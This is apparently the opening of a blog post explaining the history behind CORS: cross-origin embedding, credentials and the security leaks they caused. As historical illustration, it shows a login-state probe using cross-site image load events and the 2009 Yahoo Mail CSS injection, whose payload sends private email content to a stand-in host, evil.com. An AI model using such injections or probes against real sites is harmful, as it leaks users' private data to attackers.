
CORS is hard. It's hard because it's part of how browsers fetch stuff, and that's a set of behaviours that started with the very first web browser over thirty years ago. Since then, it's been a constant source of development; adding features, improving defaults, and papering over past mistakes without breaking too much of the web.
Anyway, I figured I'd write down pretty much everything I know about CORS, and to make things interactive, I built an exciting new app:
You can dive right into the playground now if you want, but I'll link to it throughout the article to demonstrate particular examples.
Anyway, I'm getting ahead of myself. Before I get to any of the 'how', I'm going to try to explain why CORS is the way it is, by looking at how it came into existence, and how it fits into other kinds of fetches. Wish me luck…
I'd like to propose a new, optional HTML tag: IMG. Required argument is SRC="url".
Browsers have been able to include images from other sites for almost 30 years. You don't need the other site's permission to do this, you can just do it. And it didn't stop with images:
<script src="…"></script>
<link rel="stylesheet" href="…" />
<iframe src="…"></iframe>
<video src="…"></video>
<audio src="…"></audio>
APIs like these let you make a request to another website and process the response in a particular way, without the other site's consent.
This started getting complicated in 1994 with the advent of HTTP cookies. HTTP cookies became part of a set of things we call credentials, which also includes TLS client certificates, and the state that automatically goes in the Authorization request header when using HTTP authentication (if you've never heard of this, don't worry, it's shite).
Credentials mean web content can be tailored for a particular user. It's how Twitter shows you your feed, it's how your bank shows you your accounts.
When you request other-site content using one of the methods above, it sends along the credentials for the other-site. And over the years that's created a colossal sackload of security issues.
<img src="<https://your-bank/your-profile/you.jpg>" />
If the above image loads, I get a load event. If it doesn't load, I get an error event. If that differs depending on if you're logged in or not, that tells me a lot about you. I can also read the width and height of the image, which, if it differs from user to user, tells me even more.
This gets worse with a format like CSS, which has more capabilities, but doesn't immediately fail on parse errors. In 2009 it turned out Yahoo Mail was vulnerable to a fairly simple exploit. The attacker sends the user one email with a subject including ');}, and later another with a subject including {}html{background:url('//evil.com/?:
…
<li class="email-subject">Hey {}html{background:url('//evil.com/?</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">Yo );}</li>
…
This means some of the user's private email data is sandwiched between something that will parse as a valid bit of CSS. Then, the attacker convinces the user to visit a page containing:
<link rel="stylesheet" href="<https://m.yahoo.com/mail>" />
…which is loaded using yahoo.com's cookies, the CSS parses, and sends private information to evil.com. Oh no.